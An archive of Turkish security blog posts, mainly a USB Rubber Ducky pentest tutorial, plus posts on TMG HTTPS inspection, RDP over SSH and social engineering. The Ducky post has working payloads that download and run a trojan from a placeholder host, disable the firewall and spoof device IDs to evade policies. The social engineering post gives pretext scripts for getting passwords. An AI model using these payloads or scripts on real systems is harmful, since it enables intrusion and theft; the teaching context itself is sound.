11 Mart 2014 Salı

Programlanabilir USB HID Cihazlar ve Pentestler’de Kullanımı

Programlanabilir USB HID Cihazlar ve Pentestler de Kullanımı
USB HID (Human Interface Devices) Sınıfı:  USB HID modern işletim sistemlerinde kullanılan usb donanımlar için iletişimi sağlayan standartlardır. USB HID Sınıfı bir çok tanımlanmış fonksiyondan oluşur. Bu fonksiyonlar Donanım üreticilerinin USB HID sınıf özelliklerine göre donanım üretmelerine olanak sağlamaktadır. USB HID Sınıfı uyumlu donanımlar için sürücüler modern işletim sistemlerinde (Android ve IOS dahil) bulunmakta ve bu donanımlar için herhangi bir sürücü kurma ihtiyacı bulunmamaktadır.
Genelde Mouse, Klavye, yazılım koruma Dongle ları ve benzer bir çok donanım USB HID Standartlarına uyarak hazırlanmaktadır.

USB HID API

USB HID için API iki seviyede çalışmaktadır, USB ve İşletim sistemi seviyesinde.
Detaylı Bilgi:

USB HID Cihazların Pentestlerde kullanımı

USB HID cihazlar sisteme takıldıklarında herhangi bir sürücü kurmaya gerek kalmadan sisteme istenilen komutları gönderebilirler. Örneğin bir klavyenin takıldığında otomatik olarak kullanılmaya hazır duruma gelmesi gibi. Hemen hemen tüm işletim sistemleri USB HID standartlarında yazılmış donanımların herhangi bir yetki kontrolü yapılmaksızın kullanılmasına olanak vermesi sebebiyle penetrasyon testleri sırasında hedef sisteme sızma amaçlı uygulamanın aktarılması yada hedef sistemden yetkisiz veri aktarımı için kullanılabilir.

USB Rubber Ducky




USB Rubber Ducky klavye chipsetine sahip programlanabilir konsept bir donanımdır. Kolaylıkla programlanabilen USB Rubber Ducky aynı zamanda da içinde bulunan micro sd kart ile sisteme veri aktarabilme özelliğine de sahiptir.
Aşağıdaki linkten temin edilebilir.
https://hakshop.myshopify.com/collections/usb-rubber-ducky
Programlama (DuckyScript)
USB Rubber Ducky nin programlanması için kullanılan dile verilen isim DuckyScript tir. Herhangi bir text editoru ile yazılabilir.(nano, VI, gedit, notepad vs..)

Sözdizimi

Basit bir söz dizimine sahiptir, Tüm komutlar bir satırda ve büyük harfler kullanılarak yazılmalıdır.

Komutlar ve kullanımları ;
            
REM
REM ile başlayan satır işlenmez REM yorum "comment" ifade etmek için kullanılır.

DEFAULT_DELAY ve DEFAULTDELAY
Milisaniye olarak tüm komutlar arasında bir bekleme süresi tanımlamayı sağlar. Aşağıdaki          örnek kullanımda her komut satırı arasında 1 saniye bekleme tanımlanmıştır.
           
Örn:
DEFAULT_DELAY 1000
GUI r
STRING cmd
ENTER
         
 DELAY
Milisaniye olarak Kullanıldığı anda belirtilen süre kadar durmayı sağlar. Bir önceki komutun        tamamlanmasını beklemek için uygundur. 1 ile 10000 arası değer alır. Birden çok sefer    kullanılarak bekleme süreleri arttırılabilir.

STRING
Yazılan metinlerin işlenmesini sağlayan komuttur. tek ve çoklu karakter kabul edebilir.
 ^ Komut ^ Parametre ^ | STRING | a…z A…Z 0..9 !…) `~ += _- “' :; <, >. ?/ \ ve pipe |
             
WINDOWS ve GUI
Windows tuşu ve sonrasında yazılacak ifadeleri tanımlamak için kullanılır. Aşağıdaki örnekte     Windows + r tuşu ile "çalıştır(run)" açılmıştır.
           
 Örn:
 GUI r

 MENU ve APP
Shift + F10 tuşlarını emule eder , sağ klik menusune ulaşmayı sağlar.

Örn:
GUI d
MENU
STRING v
STRING d
               
SHIFT
Shift  komutunu sisteme göndermeyi sağlar , arkasından ek komutlar kullanılabilir.
SHIFT | DELETE, HOME, INSERT, PAGEUP, PAGEDOWN, WINDOWS, GUI, UPARROW,   DOWNARROW, LEFTARROW, RIGHTARROW, TAB
          
ALT
ALT komutunu sisteme göndermeyi sağlar, arkasından ek komutlar kullanılabilir.
ALT |END, ESC, ESCAPE, F1…F12, Single Char, SPACE, TAB |

Örn:
GUI r
DELAY 50
STRING notepad.exe
ENTER
DELAY 100
STRING Hello World
ALT f
STRING s

CONTROL ve CTRL
CTRL komutunu sisteme göndermeyi sağlar, arkasından ek komutlar kullanılabilir.
CONTROL | BREAK, PAUSE, F1…F12, ESCAPE, ESC
            
Diğer Komutlar
BREAK ve PAUSE | CAPSLOCK | DELETE | END | ESC ve ESCAPE | HOME | INSERT | NUMLOCK                | PAGEUP |  PAGEDOWN | PRINTSCREEN | SCROLLLOCK | SPACE | TAB

Derlemek

Yazılan komutlar hex olarak derlenir ve Usb Rubber Ducky içinde bulunan Micro SD kart içine "inject.bin" adı ile kök dizine kaydedilmelidir. Derleme  için duckencoder kullanılabilir.
Aşağıdaki adresten indirilebilir
Yazılan Scriptlerin derlenmesini sağlayan Java ile hazırlanmış bir araçtır.

Kullanımı
Windows:
duckencode -i [input.txt]                                          
duckencode -i [input.txt] -o [ inject.bin]

Linux:
java -jar duckencoder.jar -i script.txt -o /media/microsdcard/inject.bin
Hata Tespiti :
java -jar encoder.jar --debug -i input.txt

Örnek Scriptler

Yazılan scriptler işletim sistemine ve işletim sisteminin klavye diline uygun hazırlanmalı ve benzer özelliklere sahip işletim sisteminde test edilmelidir.

* USB Rubber Ducky Türkçe dil desteğine sahip değildir. Bu yüzden aşağıda örneklenen scriptler US Klavye dizilimine göre hazırlanmıştır. Hedef sistem US klavye ile çalışmalı yada scriptlerdeki karakterler TR Klavye düzenine denk gelen karakterler ile değiştirilmelidir. Yakında TR klavye desteği de USB Rubber Ducky e eklenecektir.

Windows - Çalışabilirliğin test edilmesi
Aşağıdaki script çalıştığında Başlat > Çalıştır > Notepad > Merhaba Dunya!!! metnini yazacaktır.
Scriptlerin çalıştığını ve düzgün encode edildiğini görüntülemek için kullanılabilir.
DELAY 3000
GUI R
DELAY 500
STRING notepad
DELAY 500
ENTER
DELAY 750
STRING Merhaba Dunya!!!
ENTER
Yukarıdaki metin bir text belgesi içeriğine yazılarak duckyencoder ile "inject.bin" uzantısı ve adı ile encode edilerek USB Rubber Duck içinde bulunan SD kart içine kök e kaydedilmelidir. herhangi bir Windows işletim sistemine takılarak test edilebilir.

Dowload & Çalıştır - Powershell ile
DELAY 3000
GUI r
DELAY 100
STRING powershell (new-object System.Net.WebClient).DownloadFile('http://site.com/aa.exe','%TEMP%\bb.exe');
DELAY 100
STRING Start-Process "%TEMP%\bb.exe"
ENTER

Download & Çalıştır - CMD ile
ESCAPE
CONTROL ESCAPE
DELAY 400
STRING cmd
DELAY 400
ENTER
DELAY 400
STRING copy con download.vbs
ENTER
STRING Set args = WScript.Arguments:a = split(args(0), "/")(UBound(split(args(0),"/")))
ENTER
STRING Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP"):objXMLHTTP.open "GET", args(0), false:objXMLHTTP.send()
ENTER
STRING If objXMLHTTP.Status = 200 Then
ENTER
STRING Set objADOStream = CreateObject("ADODB.Stream"):objADOStream.Open
ENTER
STRING objADOStream.Type = 1:objADOStream.Write objXMLHTTP.ResponseBody:objADOStream.Position = 0
ENTER
STRING Set objFSO = Createobject("Scripting.FileSystemObject"):If objFSO.Fileexists(a) Then objFSO.DeleteFile a
ENTER
STRING objADOStream.SaveToFile a:objADOStream.Close:Set objADOStream = Nothing
ENTER
STRING End if:Set objXMLHTTP = Nothing:Set objFSO = Nothing
ENTER
CTRL z
ENTER
STRING cscript download.vbs http://www.site.com/trojan.exe
ENTER
STRING trojan.exe
ENTER
STRING exit
ENTER


Wireless erişim Noktası Bağlantısı
CONTROL ESCAPE
DELAY 200
STRING cmd
DELAY 200
MENU
DELAY 100
STRING a
DELAY 100
LEFTARROW
ENTER
DELAY 200
STRING netsh wlan set hostednetwork mode=allow ssid=fakeap key=sifre
ENTER
DELAY 100
STRING netsh wlan start hostednetwork
ENTER
DELAY 100
STRING netsh firewall set opmode disable
ENTER
STRING exit
ENTER

OS X Download & Çalıştır
DELAY 1000
COMMAND SPACE
DELAY 800
STRING Terminal
DELAY 500
ENTER
DELAY 500
STRING curl http://www.site.com/script.py > file.py
ENTER
DELAY 1000
STRING python file.py
ENTER

Örnek Scriptler & Payloadlar:

Firmware Update

USB Rubber Ducky bir kaç modda çalışabilmektedir. Firmware update ile özellikleri arttırılabilir.


  1. Duck Mod:  Orjinal Firmware , tüm işletim sistemlerinde desteklenen tek bir script çalıştırabilen mod.
  2. Fat Duck Mod : USB Depolama modu Script çalıştıramaz fakat politikalar ile belirlenen cihaz VID ve HID değerlerinin değişmesine izin verdiğinden USB Koruma uygulamalarını aşmayı sağlar
  3. Naked Duck : Birden fazla script çalıştırabilme özelliğine sahiptir, fakat üstünde bulunan ufak butona basılarak diğer scriptlere geçmesi sağlanır. Bu yüzden hedef sisteme çıplak olarak takılmalıdır.
  4. Twin Duck : HID ve Depolama aygıtı aynı zamanda çalışır ve scriptlerin verileri usb sürücüye yada usb sürücüden atmaları sağlanır.

Firmwareların elde edileceği adres :
https://code.google.com/p/ducky-decode/downloads/list
Firmware Update:
Linux ile USB Rubber Ducky nin firmwarının güncellenmesi ve farklı özelliklerde kullanımı sağlanmak isteniyor ise dfu-programmer pakedine ihtiyaç vardır, eğer depolarda yok ise aşağıdaki linkten indirilerek kurulabilir.

Kurulumu


tar –xzf dfu-programmer-0.5.4.tgz
cd dfu-programmer-0.5.4
./configure
make
sudo make install


Firmware Update Yapmak

Bu işlem gerçekleşmeden önce Usb Rubber Ducky üzerinde bulunan ufak tuşa basılarak sisteme takılmalıdır. Linux

  1. Varolan firmware i yedeklemek : dfu-programmer at32uc3b1256 dump >dump.bin
  2. Resetlemek : dfu-programmer at32uc3b1256 reset ( Tekrar ışık yanıp sönmeye başlayacaktır.)
  3. Varloan Firmware ın silinmesi : dfu-programmer at32uc3b1256 erase
  4. Update Etmek : dfu-programmer at32uc3b1256 flash --suppress-bootloader-mem ducky-update.hex
  5. Tekrar Resetlemek : dfu-programmer at32uc3b1256 reset
Yukarıdaki örnekte Usb Rubber Ducky Twin Duck firmware ile update edilmiştir. (c_duck_v2.1.hex)

VID(Vendor ID) ve PID (Product ID) Değerlerinin Değiştirilmesi

Antivirüs ve Policy kısıtlamalarından kurtulmak için USB rubber Ducky nin VID ve PID değerleri değiştirilerek tanınması engellenebilir.
Varsayılan VID ve PID değerleri : 03EB (VID) 2403 (PID) değerlerini kullanmaktadır. Firmware herhangi bir hex editor ile açlarak yen VID ve PID değerleri girilebilir. Fakat bu alanlara standart VID ve PID değerleri dışında bir verinin girilmesi donanımın çalışmasını bozacaktır. Bu yüzden aşağıdaki linkte bulunan VID ve PID değerlerinden biri ile değiştirilmelidir.
Versiyon 2 Firmware için bu değerlerin değiştirilmesi sd card kök dizinde bulunan vidpid.bin dosyasının herhangi bir hex editoru ile açılarak değiştirilmesi ile gerçekleştirilebilir.
Linux üzerinde aşağıdaki şekilde bu değerler değiştirilebilir.
hexedit /media/Ducky/vidpid.bin
00000000  03 eb 24 03                                       |..$.|

Korunma

Grup Policy ile uSB donanımların GUID değerleri belirlenerek engellenebilir, fakat USB Rubber Ducky VID ve PID değerlerini değiştirebilme özelliğine sahiptir ve kolayca bu korumadan kurtulabilir, bununla beraber engelleyebilmenin tek yolu Group Policy ile kurum içinde kullanılan donanımların belirlenmesi ve sadece bu donanımların çalışmasını sağlamak olabilir. Tabi bu da tüm USB donanımların tanıtılması ve sıklıkla yeni girişler yapılması gibi bir yönetim zorluğu getirmekte.
İlgili Policy Ayarları Aşağıdaki yolda bulunabilir
Computer Configuration->Administrative Templates->System->Device Installation->Device Installation Restrictions
Korunma ile ilgili aşağıdaki makale yardımcı olabilir.
http://www.irongeek.com/i.php?page=security/locking-down-windows-vista-and-windows-7-against-malicious-usb-devices

24 Ekim 2012 Çarşamba

Forefront TMG Https Inceleme


HTTPS İnceleme

TMG ile gelen yeni özelliklerden biri olan https inceleme birçok güvenlik duvarının en zayıf noktası olan bir eksikliği ortadan kaldırmaktadır. Birçok güvenlik duvarı yöneticisinin en büyük problemi şifreli kanal olan https in güvenlik duvarları tarafından incelenmeden iletişim sağlaması sebebiyle istemcilerin firma politikalarını kolayca çiğnemelerine sebep olmasıdır. İnternet üzerinde yoğunlukla kullanılan genele açık olan https Proxyleri sayesinde istemciler yasaklı pek çok siteye erişim sağlayabilmektedirler.

SSL ( Secure Socket Layer ) protokolü istemci ile sunucu arasındaki trafiği Sertifikaları kullanarak şifreleyerek güvenliği sağlayan özel bir protokoldür. 



TMG ye kazandırılan Https inceleme özelliği sayesinde TMG sunucunu sertifikasını taklit ederek istemci ile kendisi ve kendisi ile sunucu arasındaki bağlantıyı şifrelemektedir. Bu şekilde TMG üzerinde şifrelemesi açılan Https trafiği kolaylıkla incelenebilmekte ve zararlı içerik tespit edilebilmektedir.

TMG erişilmek istenen sitenin sertifikasını taklit ederken aynı zamanda ulaşılmak istenen sitenin sertifikasının geçerli olduğunu doğrulayarak iletişimin güvenliğini de sağlamaktadır.


Https incelemeyi kullanmadan bilinmesi gerekenler
1.       Https incelemenin uygulandığı kural cache leme özelliğine sahip ise bu trafik TMG üzerinde kayıtlı olacaktır. Önemli verinin disk üzerinde tutulması güvenlik riskleri içermektedir.
2.       TMG nin sahip olduğu sertifika istemcilere kopyalanmalıdır.
3.       TMG küme yapısı ile kullanılıyor ise üye TMG sistemlerin aynı sertifikaya sahip olmaları gerekmektedir.
4.       TMG istemcileri MITM ( Men in the middle ) saldırılarından korumak için Web sunucunun sertifikasını ve istemcinin talebini Windows Crypto API sini kullanarak aşağıda belirtildiği gibi incelemektedir.

a.       İstemcinin talepte bulunduğu URL ile Web sunucunun sertifikasında “ subject “ ve “ subject Alternative names “ alanları birbiriyle uymalıdır.

b.      Sertifika Sunucu kimlik doğrulama için üretilmiş olmalıdır.
c.       Sertifika tarihi geçerli olmalıdır.
d.      Sertifika sağlayıcı geçerli TMG tarafından güvenilir olmalıdır.
e.      CRL (Certificate Revoke List) ulaşılabilir olmalı ve sunucunun sertifikasını içermemelidir.


Https incelemeyi aktif hale getirmek

Https incelemeyi aktif hale getirmek için “ Web Access Policy “ sihirbazı ile yeni kural oluşturmak ya da  “ Tasks “ panelinden “ Configure https inspection “ seçeneklerine ulaşmak gerekmektedir.




















“ Configure https inspection “ ile açılan pencerede “ Enable Https inspection “ işaretlenerek https izleme aktif hale getirilebilir.
“ General ” başlıklı bölümde https inceleme aktif hale getirilir ve sertifika ayarları gerçekleştirilebilir.
Enable https inspection: Aşağıda belirtilen ayar ile https inceleme aktif edilmesini sağlayan seçenektir.
Inspect traffic and validate site certificates: Trafiğin incelenmesini ve site sertifikalarının doğrulanmasını sağlar.
Do not inspect traffic, but validate site certificates. Block https traffic if certificate is not valid: Trafiği incelemez fakat site sertifikalarını doğrulamayı sağlar. Aynı zamanda sertifika geçerli değilse trafiği engeller.

Use Forefront TMG to generate a certificate: TMG nin https inceleme yapabilmesi için gerekli olan sertifikanın oluşturulmasını sağlamaktadır.

“ Generate Certificate Now “ seçeneği ile sertifika oluşturulmalıdır. Sertifika oluşturulmadan TMG https inceleme özelliği çalışmayacaktır. “ Expiration “ bölümünde sertifika için kullanım süresi belirtilebilmektedir. “ Never “ seçeneğinin işaretli olması sertifikayı 39 yıl kullanılmak üzere hazırlamaktadır.
Sertifika oluşturma adımı tamamlandıktan sonra oluşturulan sertifika bilgilerine “ Https inspection trusted root CA Certificate options ” butonunda ulaşılabilir.


View Certificate Details: Oluşturulan sertifikanın detaylarının görüntülenmesini sağlamaktadır.
Automaticaly through Active Directory ( recommended ): Sertifikanın etkialanı ile dağıtılmasını sağlamaktadır. TMG etki alanı üyesi ise bu seçenek sayesinden istemcilerin TMG sunucunun sertifikasına güvenmesi kolayca sağlanabilmektedir.
Manually on Each client computer:  Manuel olarak sertifikanın istemcilere kopyalanacağını belirtmektedir. ” .Cer “ uzantısı ile sistemden alınan sertifika istemcilere kopyalanmalıdır.

“ Export to File  “ ile sertifikanın  kaydedilmesi sağlanmaktadır.
Destination Exceptions: Belirtilen sitelerin https inceleme dışında kalmasını sağlayan bölümdür.

Varsayılan olarak ekli olan siteler Microsoft.com, Windows.com ve windowsupdate.com dur. “  Add “ butonunu kullanarak yeni siteler eklenebilir.
Source Exceptions: Belirtilen kaynakların trafiğinin https izlemeye takılmamasını sağlamaktadır.


Certificate Validation: Sertifika doğrulama ile ilgili seçeneklerin olduğu bölümdür.


Block expired certificate after (days): Kullanım zamanı üzerinden belirtilen gün kadar geçtikten sonra iletişimi engellenmesini sağlamaktadır.
Block server certificates that are not yet valid: Henüz geçerli olmayan sertifikaları engelle.
Check for server certificate revocation:
Sertifika iptal listelerinin kontrol edilmesini sağlamaktadır. Sertifika sağlayıcıları bu listeleri yayınlarlar TMG bu listeleri okuyarak iptal edilen sertifikalardan bilgi sahibi olabilir.

“ Client Notification “ başlığı istemcilere https trafiğinin incelendiğinin bildirilmesini sağlamaktadır.

Https inceleme için gerekli ayarlar yapıldıktan sonra TMG istemci türü olarak ayarlanan istemci sisteminden Https erişim kurulmaya çalışıldığında web sitesinin sertifikasının güvensiz olduğu mesajı görüntülenecektir.


 “ Bu web sitesinde devam et (önerilmez) “ tıklandığında web sitesine erişim sağlanacak fakat bu kullanıcılar için rahatsız edici bir durum haline dönüşecektir. Bu hata mesajının sebebi TMG sunucuda oluşturulan sertifikanın istemci tarafından güvensiz olarak görülmesidir.

Https inceleme aktif hale getirildiğinde oluşan sertifikayave https inceleme kapalı iken gelen sertifikayı karşılaştırmamız gerekirse iki sertifika arasında fark TMG nin istemci tarafında “ Güvenilir Sertifika Yetkilileri “ listesinde olmamasıdır.

TMG den “ Export “ alınan sertifikanın istemci sertifikalarına eklendiği takdirde bu hata mesajı ortadan kalkacaktır.
İstemcide “ Başlat “ menüsünde bulunan arama çubuğundan “ mmc.exe “ yi çalıştırarak TMG sertifikasının “ import ” eklenmesini sağlanmalıdır.

Açılan “ MMC “ konsolundan “ Dosya > Ek Bileşen Ekle / Kaldır “ seçimi yapılarak açılan pencereden “ Sertifikalar > Kullanıcı hesabım “ seçilir.


Geçerli kullanıcının sertifikalarının görüntülenmesinden sonra “ Güvenilen Kök sertifika Yetkilileri >Sertifikalar > Al “ ile TMG den alınan sertifika bu bölüme eklenir.


Bu aşamadan sonra istemciler TMG nin ürettiği sertifikalara güven duyacağından iletişim kurulan Https (SSL ) sitelerde herhangi bir sertifika hatası almayacaklardır.


Özellikle kurumsal yapılarda kullanıcı ve bilgisayarlara TMG de üretilen sertifikanın yüklenmesi büyük zaman kaybına ve olası problemlere sebep olacaktır. TMG etki alanı yapısı içinde çalışıyor ise CA (Certification Authority) kurularak sertifikanın istemcilere otomatik olarak gönderilmesi sağlanabilir. 

SSH tünel içinden RDP / RDP Over SSH


Güvenli olmayan bir networkten iş yerinizdeki yada evinizdeki sisteminize uzak masaüstü yapmak istiyor iseniz. Yada Ulaşmak istediğiniz networkte sadece SSH servisi çalışıyor ise ve içeri uzak masaüstü bağlantısı yapmak istiyor iseniz SSH tüneli içinden RDP protokolünün nasıl iletileceğini aşağıdaki makalede bulabilirsiniz.
Yukarıdaki yapıdaki gibi ev den Firma içindeki bir RDP sunucuya SSH portu üzerinden tünel oluşturarak erişmeye çalışmak için öncelikle bir SSH istemcisine ihtiyaç olacaktır. Bunun için Putty tercih edilebilir.

Ssh Tünelleme Putty için ayarlar :


1. Sol taraftaki menüde "Session" seçili iken. Host name alanına uzak SSH hizmeti veren Firewall yada sistem IP adresi girilir Port bölümüne ise SSH servisinin çalıştığı port belirtilir genelde 22 dir.



2. Bağlantıyı başlatmadan önce SSH tüneli içinden RDP bağlantısını yönlendirilmesini sağlamak için gerekli ayarlar yapılmalıdır. Sol tarafta bulunan SSH menüsü altından " Tunnels " başlığı seçili ve Source Port " 3391" Destination " 10.0.0.2:3389" olarak belirtilir altta bulunan seçimlerde port türlerinin Local ve Auto olarak kalması gerekmektedir. Bu yapılandırma ile yerel sistemimizin 3391 nolu portuna bağlantı geldiğinde Uzak networkte bulunan 10.0.0.2 makinasının 3389 portuna bağlantıyı yönlendirmiş olduk. Yani yerel 3391 portumuz artık şirketimizde bulunan 10.0.0.2 makinasına açılan bir kapı oldu. Bu ayardan sonra " Open " butonu ile kullanıcı adı ve şifre bilgileri girilerek bağlantı başlatılır



3. Bağlantı için "mstsc" yi açarak kendi yerel IP adresimizin 3391 portuna uzak masaüstü bağlantısı başlatarak uzak networkteki 10.0.0.2 makinasına RDP protokolü ile erişebiliriz.

RDP örneğine benzer olara diğer çoğu protokolü SSH üzerinden taşımak mümkün.

Bilisimin Karanlık Yüzü 3. Baskı


" Bilişimin Karanlık Yüzü " adlı kitabımızın 3. Baskısı çıktı .

Bilişim Güvenliği üzerine hala en büyük Türkçe kaynak olan kitap içeriği aşağıdaki gibidir.

Kitapta Yer Alan Konular

"Bilgi Toplama Yöntemleri
"Sistemlere Giriş Yöntemleri
"Virüsler, Wormler ve Trojanlar
"Network Paket Kaydedicileri
"Sosyal Mühendislik
"DOS (Denial Of Service)
"Web Sunuculara Giriş
"Web Tabanlı Şifre Kırma Yöntemleri
"SQL Enjeksiyon
"Kablosuz Networkler
"Fiziksel Güvenlik
"Linux
"IDS, Güvenlik Duvarı ve Honeypotlar
"Kriptografi
"Sızma Testleri (Penetration Testing)
"Exploit

Kitabın indeksine ulaşmak için Tıklayınız.

Kitap aşağıdaki adreslerden temin edilebilir.

İdefix
D&R
Hepsiburada.com
Kitapyurdu

13 Ağustos 2012 Pazartesi

Sosyal Mühendislik (Social Engineering)


Sosyal Mühendislik etkileme ve ikna etme yöntemlerini kullanarak kurbandan bilgi alma ya da istenilen işleri yapmasını sağlamaktır.
Sosyal mühendislik bir network’e girmek için en zayıf unsur olan insan zayıflığını kullanmaktır. Genelde güvenlik zincirinin en zayıf halkası olarak adlandırılan insan unsuru network filtreleme cihazları, anti virüs yazılımları ve tüm güvenlik sağlama yöntemlerine rağmen en büyük tehlikelerden biridir.
Temel olarak insan doğasında bulunan güven, korku ve yardım etme duygularının kullanılması ile gerçekleştirilen bir saldırı türüdür.
Genelde bu saldırılarda tercih edilen kişiler;

Yardıma ihtiyaç duyan kişiler
Herkese güvenme eğilimindeki kişiler
Başının derde girmesinden korkan kişiler

Sosyal mühendislik savunulması en güç saldırı biçimidir, çünkü donanım ya da yazılım ile savunulması mümkün değildir.
Başarılı savunma iyi kuralların oluşturulması, çalışanların periyodik bir şekilde eğitilmesi ve herkesin kurallara uyması ile sağlanmaktadır.

Sosyal Mühendislik Çeşitleri

Sosyal mühendislik saldırıları iki şekilde uygulanabilir.
1. İnsan Tabanlı
2. Bilgisayar Tabanlı
Bu makalede sadece insan tabanlı sosyal mühendisliğe değinilecektir.

İnsan Tabanlı Sosyal Mühendislik

İnsani ilişkiler kurarak istenilen bilgiye ulaşmaktır.
Öncelikle İnsan tabanlı sosyal mühendisliğin en önemli bireyleri olan iletişim ve ikna kelimelerinin tanımlamalarına bakmamızda fayda var.
İletişim insanların birbirlerini etkileme ve birbirlerinden etkilenme yoludur (Krauss ve Fussell). 

İletişim sürecinin amacına odaklanarak yapılan bu ve benzeri birçok tanımda, iletişimin temel işlevinin “hedef üzerinde belirli bir etki yaratmak” olduğu vurgulanmaktadır.
İkna bir bireyin etkisiyle birey ya da bireylerin biliş, tutum ya da davranışlarında değişiklik yaratılmasıdır (Raven ve Haley).
İkna Teknikleri

Aşağıda belirtilen ikna teknikleri sıklıkla satış personellerini eğitim amaçlı kullanılan bir içerikten alınmıştır, aynı zamanda saldırganlar tarafından izlenen ikna yöntemlerini daha iyi anlamamızı sağlayacağından burada bahsetmemizde fayda olacaktır.
  • Önce küçük sonra büyük rica tekniği
  • Önce büyük sonra küçük rica tekniği
  • Gitgide artan ricalar tekniği
  • Sadece o değil tekniği
  • Evet- evet tekniği
  • Acaba” değil “hangi” tekniği
  • Soruya soruyla yanıt verme tekniği
  • Yer etme tekniği
  • Borca sokma tekniği

Kısaca bu tekniklerden bahsetmemiz gerekirse;

Önce küçük sonra büyük rica tekniği;

İkna tekniklerinden biri olan bu teknikte kaynak hedeften önce küçücük, onu zora sokmayacak, kabul edilme olasılığı yüksek bir talepte bulunur. Ardından da adım adım daha büyük taleplerde bulunma yolunda ilerler.

Önce Büyük sonra küçük rica tekniği;

Bu ikna etme tekniğinde süreç, hedeften yüksek ve sonuç olarak da reddedilme olasılığı çok yüksek olan bir talepte bulunup, ardından beklentiyi düşürerek hedefi razı etme şeklinde işler.

Gitgide artan ricalar tekniği;

Hedefe önce kabul edilebilir bir öneri sunulur, ardından da evet diyeceği noktaya kadar öneri adım adım büyütülür. Örnek olarak fiyatı cazip olarak görünen bir ürünü hedefe cazip kılmak ve içeriye çektikten sonra ürün üzerinde ekstra özellikler ve vergi gibi farklar eklenerek satılması verilebilir.

Sadece o değil tekniği;

Önce küçük sonra büyük rica tekniğinde olduğu gibi karşılıklılık ilkesi vardır; birisi sizin için bir iyilik yaptığında, indirime ya da hediye verme yoluna gittiğinde, siz de onun iyilikseverliğine karşılık verme yönünde bir sorumluluk hissedersiniz, bahsedilen bu insan özelliğini kullanan bir ikna yöntemidir.

Evet- evet tekniği;

Hedefe üst üste evet yanıtı verme olasılığı yüksek olan sorular sorulur ve asıl talep en sona bırakılır.
Acaba” değil “hangi” tekniği;
Hedefe herhangi bir ürüne gereksinim duyup duymadığı ya da herhangi bir konu hakkında seçim yapmak isteyip istemediği sorulmadan, doğrudan seçenekler sunulur ve bir anlamda emrivaki yapılarak içlerinden birini seçmesi beklenir. Örnek vermek gerekirse “ Seninle görüşmek istiyorum Çarşamba mı Perşembemi görüşelim?”

Soruya soruyla yanıt verme tekniği;

İkna süreci her zaman kaynağın hedeflediği gibi işlemez. Kimi zaman tıkanıp kalan kaynak kişi ya da kişiler, zaman kazanmaya gereksinim duyarlar. Soruya soruyla yanıt verme tekniği bu aşamada devreye girer. Örnek vermemiz gerekirse “Böyle düşündüğüm kanısına nereden vardınız?” ya da “Siz bu konuda ne düşünüyorsunuz?”gibi sorular zaman kazanmayı sağlayacaktır.

Yer etme tekniği;

Reklamlarda sıklıkla başvurulan yer etme tekniğinde, beş duyudan en az birine hitap ederek hedefin zihninde yer etmek hedeflenmektedir. Örneğin yiyecek reklamlarında “sıcacık çorba”, “kıpkırmızı domates”, “çıtır çıtır patates” gibi vurgularla bu amaca ulaşılır. Bu tekniğin etkisi daha çok algısal çağrışımla açıklanmaktadır. “Kıpkırmızı”, “buz gibi” olmakla, “mis gibi” kokmakla bir ürünü eşleştirdiğimizde, çağrışım yoluyla ürüne ilişkin her yeni bilgide bu ayrıntıları, bu nitelendirmelerde de her zaman ürünü hatırlarız.

Borca sokma tekniği;

Karşılıklılık ilkesine göre (Cialdini, 1975) karşımızdaki birey bizim için birçok zahmete girer, emek harcarsa kendimizi borçlu hissetmeye başlarız. Aramızdaki eşitlik, denge bozulur ve bunu telafi etmek için ne gerekiyorsa yapmaya hazır hale geliriz. Bunun bilincinde olanlar da amaçlarına ulaşmak için hedefe bu dengesizliği hissettirip borçluluk duygusu uyandırmak için, onun talebi olmaksızın çaba harcarlar. Örnek olarak peşinizde gezip birçok ürün öneren satıcıya karşı emeğinden dolayı kendinizi borçlu hissedersiniz

Saldırgan iletişim ve ikna kabiliyetini kullanarak hedef sistem içinde yer alan kullanıcılardan gözüne kestirdiklerinden bilgi almaya çalışacaktır. Kurbanların seçilmesi konusunda sosyal paylaşım siteleri ona ihtiyacı olduğundan fazla bilgi sağlayabilir.

İnsan Tabanlı Sosyal mühendislik saldırıları aşağıdaki gibi kategorize edilebilir.

Son kullanıcıymış gibi davranma
Önemli bir kullanıcıymış gibi davranma
Teknik Destek
Çöpleri Kurcalama
Omuz üstünden bakmak

Son kullanıcıymış gibi davranma

Bilgi İşlem Departmanının ve içeride çalışan herhangi bir kullanıcının bilgilerine sahip bir saldırgan Bilgi İşlemi arar;
Hacker: Merhabalar, Ben Ahmet, Muhasebe Departmanından Şifremi unuttum, Acil olarak patronun beklediği evrakları hazırlamam gerekiyor, Şifremi alabilir miyim?

Önemli Bir kullanıcıymış gibi davranma

Bilgi İşlem Departmanının numarasını ve şirket üst düzey yöneticilerinden birinin ismini ve görevini bilen saldırgan Bilgi İşlemi arar;
Hacker: Merhaba, Ben Ali, Genel müdür asistanı, Acil bir proje üzerinde çalışıyorum, Şifremi unuttum bana yardım etmelisin.

Teknik Destek

Herhangi bir kullanıcının ismini bilen saldırgan Teknik birim’den arıyormuş gibi davranarak kullanıcının bilgilerini talep eder.
Hacker: Merhabalar Ben Teknik Departmandan arıyorum, dün akşam sistemlerimizde oluşan bir arıza yüzünden veri kaybı yaşayıp yaşamadığınızı test ediyoruz, Kullanıcı adı ve şifrenizi almalıyım?

Çöpleri Kurcalama ( Dumpster Diving )

Saldırgan hedef hakkında bilgi toplamak ve hedefin verilerine ulaşmak için çöpleri kontrol edebilir. Hedef hakkında muhasebe verisi, fotokopi belgeler, iletişim adresleri ve kullanıcıların % 60’ ının şifrelerini unutmamak için kağıtlara yazdığını düşünürsek saldırı aşamasında kullanabileceği pek çok veriye ulaşabilir.

Omuz Üstünden Bakmak ( Shoulder Surfing )

Omuz üstünden bakmak adıyla adlandırılan sosyal mühendislik saldırı yöntemi kullanıcının şifre veya oturum bilgisinin arkasından ya da başka bir yerden izlenerek ele geçirilmesi ya da bilgi sahibi olunmasıdır. Microsoft özellikle güvenlik eğitimlerinde bu tarz saldırılara karşı korunmak adına klavye ve monitörlerin pencere kenarlarında yer almasının engellenmesi gereğinden bahsetmektedir.

Kaynaklar: Bilişimin Karanlık Yüzü ,




17 Haziran 2012 Pazar

Bilisim Güvenligi Adımları


Bilişim Güvenliği Tanımı

“Güvenlik” iyi durumdaki bilgi ve yapının hırsızlık, veri değişikliği, bilgiyi bozma, servislerin açıklarına karşı korumasını sağlamaktır.

Bilişim Güvenliği Gizliliğe, Orijinalliğe, Güvenilirliğe ve Kullanılabilirliğe dayanır.
